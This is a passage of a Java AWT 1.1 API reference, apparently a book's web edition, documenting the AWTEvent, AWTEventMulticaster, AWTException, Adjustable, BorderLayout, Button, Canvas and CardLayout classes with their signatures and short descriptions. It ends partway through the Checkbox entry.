Constructs a 1.1 java.awt.AWTEvent derived from a 1.0.2 java.awt.Event object.

public AWTEvent (Object source, int id)

Parameters

source

The object that the event originated from.

id

An event type ID.

Description

Constructs an AWTEvent object.

Instance Methods

getID

public int getID()

Returns

The type ID of the event.

paramString

public String paramString()

Returns

A string with the current settings of AWTEvent.

Description

Helper method for toString() that generates a string of current settings.

toString

public String toString()

Returns

A string representation of the AWTEvent object.

Overrides

Object.toString()

Protected Instance Methods

consume

protected void consume()

Description

Consumes the event so it is not sent back to its source.

isConsumed

public boolean isConsumed()

Returns

A flag indicating whether this event has been consumed.

See Also

ActionEvent, AdjustmentEvent, ComponentEvent, Event, EventObject, FocusEvent, ItemEvent, KeyEvent, MouseEvent, WindowEvent

Previous | Home | Next
AWTError | Book Index | AWTEventMulticaster (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] AWTEventMulticaster

Previous Chapter 19
java.awt Reference 		Next

AWTEventMulticaster (New)

Name

AWTEventMulticaster (New)

[Graphic: Figure from the text]

Description

This class multicasts events to event listeners. Each multicaster has two listeners, cunningly named a and b. When an event source calls one of the listener methods of the multicaster, the multicaster calls the same listener method on both a and b. Multicasters are built into trees using the static add() and remove() methods. In this way a single event can be sent to many listeners.

Static methods make it easy to implement event multicasting in component subclasses. Each time an add<type>Listener() function is called in the component subclass, call the corresponding AWTEventMulticaster.add() method to chain together (or "tree up") listeners. Similarly, when a remove<type>Listener() function is called, AWTEventMulticaster.remove() can be called to remove a chained listener.

Class Definition

public class java.awt.AWTEventMulticaster
  extends java.lang.Object
  implements java.awt.event.ActionListener, java.awt.event.AdjustmentListener,
             java.awt.event.ComponentListener, java.awt.event.ContainerListener,
             java.awt.event.FocusListener, java.awt.event.ItemListener,
             java.awt.event.KeyListener, java.awt.event.MouseListener,
             java.awt.event.MouseMotionListener, java.awt.event.TextListener,
             java.awt.event.WindowListener {
  // Variables
  protected EventListener a;
  protected EventListener b;
  // Constructors
  protected AWTEventMulticaster(EventListener a, EventListener b);
  // Class Methods
  public static ActionListener add(ActionListener a, ActionListener b);
  public static AdjustmentListener add(AdjustmentListener a,
      AdjustmentListener b);
  public static ComponentListener add(ComponentListener a,
      ComponentListener b);
  public static ContainerListener add(ContainerListener a,
      ContainerListener b);
  public static FocusListener add(FocusListener a, FocusListener b);
  public static ItemListener add(ItemListener a, ItemListener b);
  public static KeyListener add(KeyListener a, KeyListener b);
  public static MouseListener add(MouseListener a, MouseListener b);
  public static MouseMotionListener add(MouseMotionListener a,
      MouseMotionListener b);
  public static TextListener add(TextListener a, TextListener b);
  public static WindowListener add(WindowListener a, WindowListener b);
  protected static EventListener addInternal(EventListener a, EventListener b);
  public static ActionListener remove(ActionListener l, ActionListener oldl);
  public static AdjustmentListener remove(AdjustmentListener l,
      AdjustmentListener oldl);
  public static ComponentListener remove(ComponentListener l,
      ComponentListener oldl);
  public static ContainerListener remove(ContainerListener l,
      ContainerListener oldl);
  public static FocusListener remove(FocusListener l, FocusListener oldl);
  public static ItemListener remove(ItemListener l, ItemListener oldl);
  public static KeyListener remove(KeyListener l, KeyListener oldl);
  public static MouseListener remove(MouseListener l, MouseListener oldl);
  public static MouseMotionListener remove(MouseMotionListener l,
      MouseMotionListener oldl);
  public static TextListener remove(TextListener l, TextListener oldl);
  public static WindowListener remove(WindowListener l, WindowListener;
  protected static EventListener removeInternal(EventListener l,
      EventListener oldl);
  // Instance Methods
  public void actionPerformed(ActionEvent e);
  public void adjustmentValueChanged(AdjustmentEvent e);
  public void componentAdded(ContainerEvent e);
  public void componentHidden(ComponentEvent e);
  public void componentMoved(ComponentEvent e);
  public void componentRemoved(ContainerEvent e);
  public void componentResized(ComponentEvent e);
  public void componentShown(ComponentEvent e);
  public void focusGained(FocusEvent e);
  public void focusLost(FocusEvent e);
  public void itemStateChanged(ItemEvent e);
  public void keyPressed(KeyEvent e);
  public void keyReleased(KeyEvent e);
  public void keyTyped(KeyEvent e);
  public void mouseClicked(MouseEvent e);
  public void mouseDragged(MouseEvent e);
  public void mouseEntered(MouseEvent e);
  public void mouseExited(MouseEvent e);
  public void mouseMoved(MouseEvent e);
  public void mousePressed(MouseEvent e);
  public void mouseReleased(MouseEvent e);
  public void textValueChanged(TextEvent e);
  public void windowActivated(WindowEvent e);
  public void windowClosed(WindowEvent e);
  public void windowClosing(WindowEvent e);
  public void windowDeactivated(WindowEvent e);
  public void windowDeiconified(WindowEvent e);
  public void windowIconified(WindowEvent e);
  public void windowOpened(WindowEvent e);
  // Protected Instance Methods
  protected EventListener remove(EventListener oldl);
  protected void saveInternal(ObjectOutputStream s, String k) throws IOException;
}

Variables

a

protected EventListener a

One of the EventListeners this AWTEventMulticaster sends events to.

b

protected EventListener b

One of the EventListeners this AWTEventMulticaster sends events to.

Constructors

AWTEventMulticaster

protected AWTEventMulticaster (EventListener a, EventListener b)

Parameters

a

A listener that receives events.

b

A listener that receives events.

Description

Constructs an AWTEventMulticaster that sends events it receives to the supplied listeners. The constructor is protected because it is only the class methods of AWTEventMulticaster that ever instantiate this class.

Class Methods

add

public static ActionListener add (ActionListener a, ActionListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static AdjustmentListener add (AdjustmentListener a, AdjustmentListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static ComponentListener add (ComponentListener a, ComponentListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static ContainerListener add (ContainerListener a, ContainerListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static FocusListener add (FocusListener a, FocusListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static ItemListener add (ItemListener a, ItemListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static KeyListener add (KeyListener a, KeyListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static MouseListener add (MouseListener a, MouseListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static MouseMotionListener add (MouseMotionListener a, MouseMotionListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static TextListener add (TextListener a, TextListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

public static WindowListener add (WindowListener a, WindowListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

addInternal

public static EventListener addInternal (EventListener a, EventListener b)

Parameters

a

An event listener.

b

An event listener.

Returns

A listener object that passes events to a and b.

Description

This method is a helper for the add() methods.

remove

public static ActionListener remove (ActionListener l, ActionListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static AdjustmentListener remove (AdjustmentListener l, AdjustmentListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static ComponentListener remove (ComponentListener l, ComponentListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static ContainerListener remove (ContainerListener l, ContainerListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static FocusListener remove (FocusListener l, FocusListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static ItemListener remove (ItemListener l, ItemListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static KeyListener remove (KeyListener l, KeyListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static MouseListener remove (MouseListener l, MouseListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static MouseMotionListener remove (MouseMotionListener l, MouseMotionListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static TextListener remove (TextListener l, TextListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static WindowListener remove (WindowListener l, WindowListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

public static WindowListener remove (WindowListener l, WindowListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

removeInternal

public static EventListener removeInternal (EventListener l, EventListener oldl)

Parameters

l

An event listener.

oldl

An event listener.

Returns

A listener object that multicasts to l but not oldl.

Description

This method is a helper for the remove() methods.

Instance Methods

actionPerformed

public void actionPerformed (ActionEvent e)

Parameters

e

The action event that occurred.

Description

Handles the event by passing it on to listeners a and b.

adjustmentValueChanged

public void adjustmentValueChanged (AdjustmentEvent e)

Parameters

e

The adjustment event that occurred.

Description

Handles the event by passing it on to listeners a and b.

componentAdded

public void componentAdded (ContainerEvent e)

Parameters

e

The container event that occurred.

Description

Handles the event by passing it on to listeners a and b.

componentHidden

public void componentHidden (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Handles the event by passing it on to listeners a and b.

componentMoved

public void componentMoved (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Handles the event by passing it on to listeners a and b.

componentRemoved

public void componentRemoved (ContainerEvent e)

Parameters

e

The container event that occurred.

Description

Handles the event by passing it on to listeners a and b.

componentResized

public void componentResized (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Handles the event by passing it on to listeners a and b.

componentShown

public void componentShown (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Handles the event by passing it on to listeners a and b.

focusGained

public void focusGained (FocusEvent e)

Parameters

e

The focus event that occurred.

Description

Handles the event by passing it on to listeners a and b.

focusLost

public void focusLost (FocusEvent e)

Parameters

e

The focus event that occurred.

Description

Handles the event by passing it on to listeners a and b.

itemStateChanged

public void itemStateChanged (ItemEvent e)

Parameters

e

The item event that occurred.

Description

Handles the event by passing it on to listeners a and b.

keyPressed

public void keyPressed (KeyEvent e)

Parameters

e

The key event that occurred.

Description

Handles the event by passing it on to listeners a and b.

keyReleased

public void keyReleased (KeyEvent e)

Parameters

e

The key event that occurred.

Description

Handles the event by passing it on to listeners a and b.

keyTyped

public void keyTyped (KeyEvent e)

Parameters

e

The key event that occurred.

Description

Handles the event by passing it on to listeners a and b.

mouseClicked

public void mouseClicked (MouseEvent e)

Parameters

e

The mouse event that occurred.

Description

Handles the event by passing it on to listeners a and b.

mouseDragged

public void mouseDragged (MouseEvent e)

Parameters

e

The mouse event that occurred.

Description

Handles the event by passing it on to listeners a and b.

mouseEntered

public void mouseEntered (MouseEvent e)

Parameters

e

The mouse event that occurred.

Description

Handles the event by passing it on to listeners a and b.

mouseExited

public void mouseExited (MouseEvent e)

Parameters

e

The mouse event that occurred.

Description

Handles the event by passing it on to listeners a and b.

mouseMoved

public void mouseMoved (MouseEvent e)

Parameters

e

The mouse event that occurred.

Description

Handles the event by passing it on to listeners a and b.

mousePressed

public void mousePressed (MouseEvent e)

Parameters

e

The mouse event that occurred.

Description

Handles the event by passing it on to listeners a and b.

mouseReleased

public void mouseReleased (MouseEvent e)

Parameters

e

The mouse event that occurred.

Description

Handles the event by passing it on to listeners a and b.

textValueChanged

public void textValueChanged (TextEvent e)

Parameters

e

The text event that occurred.

Description

Handles the event by passing it on to listeners a and b.

windowActivated

public void windowActivated (WindowEvent e)

Parameters

e

The window event that occurred.

Description

Handles the event by passing it on to listeners a and b.

windowClosed

public void windowClosed (WindowEvent e)

Parameters

e

The window event that occurred.

Description

Handles the event by passing it on to listeners a and b.

windowClosing

public void windowClosing (WindowEvent e)

Parameters

e

The window event that occurred.

Description

Handles the event by passing it on to listeners a and b.

windowDeactivated

public void windowDeactivated (WindowEvent e)

Parameters

e

The window event that occurred.

Description

Handles the event by passing it on to listeners a and b.

windowDeiconified

public void windowDeiconified (WindowEvent e)

Parameters

e

The window event that occurred.

Description

Handles the event by passing it on to listeners a and b.

windowIconified

public void windowIconified (WindowEvent e)

Parameters

e

The window event that occurred.

Description

Handles the event by passing it on to listeners a and b.

windowOpened

public void windowOpened (WindowEvent e)

Parameters

e

The window event that occurred.

Description

Handles the event by passing it on to listeners a and b.

Protected Instance Methods

remove

protected EventListener remove(EventListener oldl)

Parameters

oldl

The listener to remove.

Returns

The resulting EventListener.

Description

This method removes oldl from the AWTEventMulticaster and returns the resulting listener.

See Also

ActionEvent, AdjustmentEvent, ComponentEvent, Event, EventListener, EventObject, FocusEvent, ItemEvent, KeyEvent, MouseEvent, WindowEvent

Previous | Home | Next
AWTEvent (New) | Book Index | AWTException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] AWTException

Previous Chapter 19
java.awt Reference 		Next

AWTException

Name

AWTException

[Graphic: Figure from the text]

Description

An AWTException; thrown to indicate an exceptional condition; must be caught or declared in a throws clause.

Class Definition

public class java.awt.AWTException
    extends java.lang.Exception {

  // Constructors
  public AWTException (String message);
}

Constructors

AWTException

public AWTException (String message)

Parameters

message

Detailed message.

See Also

Exception, String

Previous | Home | Next
AWTEventMulticaster (New) | Book Index | Adjustable (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Adjustable

Previous Chapter 19
java.awt Reference 		Next

Adjustable (New)

Name

Adjustable (New)

[Graphic: Figure from the text]

Description

The Adjustable interface is useful for scrollbars, sliders, dials, and other components that have an adjustable numeric value. Classes that implement the Adjustable interface should send AdjustmentEvent objects to listeners that have registered via addAdjustmentListener(AdjustmentListener).

Interface Definition

public abstract interface java.awt.Adjustable {
  // Constants
  public final static int HORIZONTAL = 0;
  public final static int VERTICAL = 1;

  // Interface Methods
  public abstract void addAdjustmentListener (AdjustmentListener l);
  public abstract int getBlockIncrement();
  public abstract int getMaximum();
  public abstract int getMinimum();
  public abstract int getOrientation();
  public abstract int getUnitIncrement();
  public abstract int getValue();
  public abstract int getVisibleAmount();
  public abstract void removeAdjustmentListener (AdjustmentListener l);
  public abstract void setBlockIncrement (int b);
  public abstract void setMaximum (int max);
  public abstract void setMinimum (int min);
  public abstract void setUnitIncrement (int u);
  public abstract void setValue (int v);
  public abstract void setVisibleAmount (int v);
}

Constants

HORIZONTAL

public static final int HORIZONTAL

A constant representing horizontal orientation.

VERTICAL

public static final int VERTICAL

A constant representing vertical orientation.

Interface Methods

addAdjustmentListener

public abstract void addAdjustmentListener (ActionListener l)

Parameters

l

An object that implements the AdjustmentListener interface.

Description

Add a listener for adjustment event.

getBlockIncrement

public abstract int getBlockIncrement()

Returns

The amount to scroll when a paging area is selected.

getMaximum

public abstract int getMaximum()

Returns

The maximum value that the Adjustable object can take.

getMinimum

public abstract int getMinimum()

Returns

The minimum value that the Adjustable object can take.

getOrientation

public abstract int getOrientation()

Returns

A value representing the direction of the Adjustable object.

getUnitIncrement

public abstract int getUnitIncrement()

Returns

The unit amount to scroll.

getValue

public abstract int getValue()

Returns

The current setting for the Adjustable object.

getVisibleAmount

public abstract int getVisibleAmount()

Returns

The current visible setting (i.e., size) for the Adjustable object.

removeAdjustmentListener

public abstract void removeAdjustmentListener (AdjustmentListener l)

Parameters

l

One of the object's AdjustmentListeners.

Description

Remove an adjustment event listener.

setBlockIncrement

public abstract void setBlockIncrement (int b)

Parameters

b

New block increment amount.

Description

Changes the block increment amount for the Adjustable object.

setMaximum

public abstract void setMaximum (int max)

Parameters

max

New maximum value.

Description

Changes the maximum value for the Adjustable object.

setMinimum

public abstract void setMinimum (int min)

Parameters

min

New minimum value.

Description

Changes the minimum value for the Adjustable object.

setUnitIncrement

public abstract void setUnitIncrement (int u)

Parameters

u

New unit increment amount.

Description

Changes the unit increment amount for the Adjustable object.

setValue

public abstract void setValue (int v)

Parameters

v

New value.

Description

Changes the current value of the Adjustable object.

setVisibleAmount

public abstract void setVisibleAmount (int v)

Parameters

v

New amount visible.

Description

Changes the current visible amount of the Adjustable object.

See Also

AdjustmentEvent, AdjustmentListener, Scrollbar

Previous | Home | Next
AWTException | Book Index | BorderLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] BorderLayout

Previous Chapter 19
java.awt Reference 		Next

BorderLayout

Name

BorderLayout

[Graphic: Figure from the text]

Description

BorderLayout is a LayoutManager that provides the means to lay out components along the edges of a container. It divides the container into five regions, named North, East, South, West, and Center. Normally you won't call the LayoutManager's methods yourself. When you add() a Component to a Container, the Container calls the addLayoutComponent() method of its LayoutManager.

Class Definition

public class java.awt.BorderLayout
    extends java.lang.Object
    implements java.awt.LayoutManager2, java.io.Serializable {
  // Constants
  public final static String CENTER;   (New)
  public final static String EAST;   (New)
  public final static String NORTH;   (New)
  public final static String SOUTH;   (New)
  public final static String WEST;   (New)

  // Constructors
  public BorderLayout();
  public BorderLayout (int hgap, int vgap);

  // Instance Methods
  public void addLayoutComponent (Component comp, Object constraints);   (New)
  public void addLayoutComponent (String name, Component component);   (Deprecated)
  public int getHgap();   (New)
  public abstract float getLayoutAlignmentX(Container target);   (New)
  public abstract float getLayoutAlignmentY(Container target);   (New)
  public int getVgap();   (New)
  public abstract void invalidateLayout(Container target);   (New)

  public void layoutContainer (Container target);
  public abstract Dimension maximumLayoutSize(Container target);   (New)
  public Dimension minimumLayoutSize (Container target);
  public Dimension preferredLayoutSize (Container target);
  public void removeLayoutComponent (Component component);
  public void setHgap (int hgap);   (New)
  public void setVgap (int vgap);   (New)
  public String toString();
}

Constants

CENTER

public final static String CENTER

A constant representing center orientation.

EAST

public final static String EAST

A constant representing east orientation.

NORTH

public final static String NORTH

A constant representing north orientation.

SOUTH

public final static String SOUTH

A constant representing south orientation.

WEST

public final static String WEST

A constant representing west orientation.

Constructors

BorderLayout

public BorderLayout()

Description

Constructs a BorderLayout object.

public BorderLayout (int hgap, int vgap)

Parameters

hgap

Horizontal space between each component in the container.

vgap

Vertical space between each component in the container.

Description

Constructs a BorderLayout object with the values specified as the gaps between each component in the container managed by this instance of BorderLayout.

Instance Methods

addLayoutComponent

public void addLayoutComponent (Component comp, Object constraints) (New)

Parameters

comp

The component being added.

constraints

An object describing the constraints on this component.

Implements

LayoutManager2.addLayoutComponent()

Description

Adds the component comp to a container subject to the given constraints. This is a more general version of addLayoutComponent(String, Component) method. It corresponds to java.awt.Container's add(Component, Object) method. In practice, it is used the same in version 1.1 as in Java 1.0.2, except with the parameters swapped:

Panel p = new Panel(new BorderLayout());
p.add(new Button("OK"), BorderLayout.SOUTH);

addLayoutComponent

public void addLayoutComponent (String name, Component component) (Deprecated)

Parameters

name

Name of region to add component to.

component

Actual component being added.

Implements

LayoutManager.addLayoutComponent()

Description

Adds a component to a container in region name. This has been replaced in version 1.1 with the more general addLayoutComponent(Component, Object).

getHgap

public int getHgap() (New)

Returns

The horizontal gap for this BorderLayout instance.

getLayoutAlignmentX

public abstract float getLayoutAlignmentX (Container target) (New)

Parameters

target

The container to inspect.

Returns

The value .5 for all containers.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is left aligned, .5 is centered, and 1 is right aligned.

getLayoutAlignmentY

public abstract float getLayoutAlignmentY (Container target) (New)

Parameters

target

The container to inspect.

Returns

The value .5 for all containers.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is top aligned, .5 is centered, and 1 is bottom aligned.

getVgap

public int getVgap() (New)

Returns

The vertical gap for this BorderLayout instance.

invalidateLayout

public abstract void invalidateLayout (Container target) (New)

Parameters

target

The container to invalidate.

Description

Does nothing.

layoutContainer

public void layoutContainer (Container target)

Parameters

target

The container that needs to be redrawn.

Implements

LayoutManager.layoutContainer()

Description

Draws components contained within target.

maximumLayoutSize

public abstract Dimension maximumLayoutSize (Container target) (New)

Parameters

target

The container to inspect.

Returns

A Dimension whose horizontal and vertical components are Integer.MAX_VALUE.

Description

For BorderLayout, a maximal Dimension is always returned.

minimumLayoutSize

public Dimension minimumLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Minimum Dimension of the container target.

Implements

LayoutManager.minimumLayoutSize()

Description

Calculates minimum size of target. container.

preferredLayoutSize

public Dimension preferredLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Preferred Dimension of the container target.

Implements

LayoutManager.preferredLayoutSize()

Description

Calculates preferred size of target container.

removeLayoutComponent

public void removeLayoutComponent (Component component)

Parameters

component

Component to stop tracking.

Implements

LayoutManager.removeLayoutComponent()

Description

Removes component from any internal tracking systems.

setHgap

public void setHgap (int hgap) (New)

Parameters

hgap

The horizontal gap value.

Description

Sets the horizontal gap between components.

setVgap

public void setVgap (int vgap) (New)

Parameters

vgap

The vertical gap value.

Description

Sets the vertical gap between components.

toString

public String toString()

Returns

A string representation of the BorderLayout object.

Overrides

Object.toString()

See Also

Component, Container, Dimension, LayoutManager, LayoutManager2, Object, String

Previous | Home | Next
Adjustable (New) | Book Index | Button
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Button

Previous Chapter 19
java.awt Reference 		Next

Button

Name

Button

[Graphic: Figure from the text]

Description

The Button is the familiar labeled button object. It inherits most of its functionality from Component. For example, to change the font of the Button, you would use Component's setFont() method. The Button sends java.awt.event.ActionEvent objects to its listeners when it is pressed.

Class Definition

public class java.awt.Button
    extends java.awt.Component {

  // Constructors
  public Button();
  public Button (String label);

  // Instance Methods
  public void addActionListener (ActionListener l);   (New)
  public void addNotify();
  public String getActionCommand();   (New)
  public String getLabel();
  public void removeActionListener (ActionListener l);   (New)
  public void setActionCommand (String command);   (New)
  public synchronized void setLabel (String label);

  // Protected Instance Methods
  protected String paramString();
  protected void processActionEvent (ActionEvent e);   (New)
  protected void processEvent (AWTEvent e);   (New)
}

Constructors

Button

public Button()

Description

Constructs a Button object with no label.

public Button (String label)

Parameters

label

The text for the label on the button

Description

Constructs a Button object with text of label.

Instance Methods

addActionListener

public void addActionListener (ActionListener l) (New)

Parameters

l

An object that implements the ActionListener interface.

Description

Add a listener for the action event.

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates Button's peer.

getActionCommand

public String getActionCommand() (New)

Returns

Current action command string.

Description

Returns the string used for the action command.

getLabel

public String getLabel()

Returns

Text of the Button's label.

removeActionListener

public void removeActionListener (ActionListener l) (New)

Parameters

l

One of this Button's ActionListeners.

Description

Remove an action event listener.

setActionCommand

public void setActionCommand (String command) (New)

Parameters

command

New action command string.

Description

Specify the string used for the action command.

setLabel

public synchronized void setLabel (String label)

Parameters

label

New text for label of Button.

Description

Changes the Button's label to label.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of Button.

Overrides

Component.paramString()

Description

Helper method for toString() used to generate a string of current settings.

processActionEvent

protected void processActionEvent (ActionEvent e) (New)

Parameters

e

The action event to process.

Description

Action events are passed to this method for processing. Normally, this method is called by processEvent().

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low level AWTEvents are passed to this method for processing.

See Also

ActionListener, Component, String

Previous | Home | Next
BorderLayout | Book Index | Canvas
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Canvas

Previous Chapter 19
java.awt Reference 		Next

Canvas

Name

Canvas

[Graphic: Figure from the text]

Description

Canvas is a Component that provides a drawing area and is often used as a base class for new components.

Class Definition

public class java.awt.Canvas
    extends java.awt.Component {

  // Constructors
  public Canvas();

  // Instance Methods
  public void addNotify();
  public void paint (Graphics g);
}

Constructors

Canvas

public Canvas()

Description

Constructs a Canvas object.

Instance Methods

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates Canvas's peer.

paint

public void paint (Graphics g)

Parameters

g

Graphics context of component.

Description

Empty method to be overridden in order to draw something in graphics context.

See Also

Component, Graphics

Previous | Home | Next
Button | Book Index | CardLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] CardLayout

Previous Chapter 19
java.awt Reference 		Next

CardLayout

Name

CardLayout

[Graphic: Figure from the text]

Description

The CardLayout LayoutManager provides the means to manage multiple components, displaying one at a time. Components are displayed in the order in which they are added to the layout, or in an arbitrary order by using an assignable name.

Class Definition

public class java.awt.CardLayout
    extends java.lang.Object
    implements java.awt.LayoutManager2, java.io.Serializable {

  // Constructors
  public CardLayout();
  public CardLayout (int hgap, int vgap);

  // Instance Methods
  public void addLayoutComponent (Component comp,
      Object constraints);   (New)
  public void addLayoutComponent (String name, Component component);   (Deprecated)
  public void first (Container parent);
  public int getHgap();   (New)
  public abstract float getLayoutAlignmentX(Container target);   (New)
  public abstract float getLayoutAlignmentY(Container target);   (New)
  public int getVgap();   (New)
  public abstract void invalidateLayout(Container target);   (New)
  public void last (Container parent);
  public void layoutContainer (Container target);
  public abstract Dimension maximumLayoutSize(Container target);   (New)
  public Dimension minimumLayoutSize (Container target);
  public void next (Container parent);
  public Dimension preferredLayoutSize (Container target);
  public void previous (Container parent);
  public void removeLayoutComponent (Component component);
  public void setHgap (int hgap);   (New)
  public void setVgap (int vgap);   (New)
  public void show (Container parent, String name);
  public String toString();
}

Constructors

CardLayout

public CardLayout()

Description

Constructs a CardLayout object.

public CardLayout (int hgap, int vgap)

Parameters

hgap

Horizontal space around left and right of container

vgap

Vertical space around top and bottom of container

Description

Constructs a CardLayout object with the values specified as the gaps around the container managed by this instance of CardLayout.

Instance Methods

addLayoutComponent

public void addLayoutComponent (Component comp, Object constraints) (New)

Parameters

comp

The component being added.

constraints

An object describing the constraints on this component.

Implements

LayoutManager2.addLayoutComponent()

Description

Adds the component comp to a container subject to the given constraints. This is a more generalized version of addLayoutComponent(String, Component). It corresponds to java.awt.Container's add(Component, Object). In practice, it is used the same in Java 1.1 as in Java 1.0.2, except with the parameters swapped:

Panel p = new Panel();
p.setLayoutManager(new CardLayout());
p.add(new Button("OK"), "Don Julio");

addLayoutComponent

public void addLayoutComponent (String name, Component component) (Deprecated)

Parameters

name

Name of the component to add.

component

The actual component being added.

Implements

LayoutManager.addLayoutComponent()

Description

Places component under the layout's management, assigning it the given name. This has been replaced in version 1.1 with the more general addLayoutComponent(Component, Object).

first

public void first (Container parent)

Parameters

parent

The container whose displayed component is changing.

Throws

IllegalArgumentException

If the LayoutManager of parent is not CardLayout.

Description

Sets the container to display the first component in parent.

getHgap

public int getHgap() (New)

Returns

The horizontal gap for this CardLayout instance.

getLayoutAlignmentX

public abstract float getLayoutAlignmentX (Container target) (New)

Parameters

target

The container to inspect.

Returns

The value .5 for all containers.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is left aligned, .5 is centered, and 1 is right aligned.

getLayoutAlignmentY

public abstract float getLayoutAlignmentY (Container target) (New)

Parameters

target

The container to inspect.

Returns

The value .5 for all containers.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is top aligned, .5 is centered, and 1 is bottom aligned.

getVgap

public int getVgap() (New)

Returns

The vertical gap for this CardLayout instance.

invalidateLayout

public abstract void invalidateLayout (Container target) (New)

Parameters

target

The container to invalidate.

Description

Does nothing.

last

public void last (Container parent)

Parameters

parent

The container whose displayed component is changing.

Throws

IllegalArgumentException

If the LayoutManager of parent is not CardLayout.

Description

Sets the container to display the final component in parent.

layoutContainer

public void layoutContainer (Container target)

Parameters

target

The container that needs to be redrawn.

Implements

LayoutManager.layoutContainer()

Description

Displays the currently selected component contained within target.

maximumLayoutSize

public abstract Dimension maximumLayoutSize (Container target) (New)

Parameters

target

The container to inspect.

Returns

A Dimension whose horizontal and vertical components are Integer.MAX_VALUE.

Description

For CardLayout, a maximal Dimension is always returned.

minimumLayoutSize

public Dimension minimumLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Minimum Dimension of the container target.

Implements

LayoutManager.minimumLayoutSize()

Description

Calculates minimum size of the target container.

next

public void next (Container parent)

Parameters

parent

The container whose displayed component is changing.

Throws

IllegalArgumentException

If the LayoutManager of parent is not CardLayout.

Description

Sets the container to display the following component in the parent.

preferredLayoutSize

public Dimension preferredLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Preferred Dimension of the container target.

Implements

LayoutManager.preferredLayoutSize()

Description

Calculates preferred size of the target container.

previous

public void previous (Container parent)

Parameters

parent

The container whose displayed component is changing.

Throws

IllegalArgumentException

If the LayoutManager of parent is not CardLayout.

Description

Sets the container to display the prior component in parent.

removeLayoutComponent

public void removeLayoutComponent (Component component)

Parameters

component

Component to stop tracking.

Implements

LayoutManager.removeLayoutComponent()

Description

Removes component from the layout manager's internal tables.

setHgap

public void setHgap (int hgap) (New)

Parameters

hgap

The horizontal gap value.

Description

Sets the horizontal gap for the left and right of the container.

setVgap

public void setVgap (int vgap) (New)

Parameters

vgap

The vertical gap value.

Description

Sets the vertical gap for the top and bottom of the container.

show

public void show (Container parent, String name)

Parameters

parent

The container whose displayed component is changing.

name

Name of component to display.

Throws

IllegalArgumentException

If LayoutManager of parent is not CardLayout.

Description

Sets the container to display the component name in parent.

toString

public String toString()

Returns

A string representation of the CardLayout object.

Overrides

Object.toString()

See Also

Component, Container, Dimension, LayoutManager, LayoutManager2, Object, String

Previous | Home | Next
Canvas | Book Index | Checkbox
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Checkbox

Previous Chapter 19
java.awt Reference 		Next

Checkbox

Name

Checkbox

[Graphic: Figure from the text]

Description

The Checkbox is a Component that provides a true or false toggle switch for user input.

Class Definition

public class java.awt.Checkbox
    extends java.awt.Component
    implements java.awt.ItemSelectable {

  // Constructors
  public Checkbox();
  public Checkbox (String label);
  public Checkbox (String label, boolean state);   (New)
  public Checkbox (String label, boolean state, CheckboxGroup group);   (New)
  public Checkbox (String label, CheckboxGroup group, boolean state);

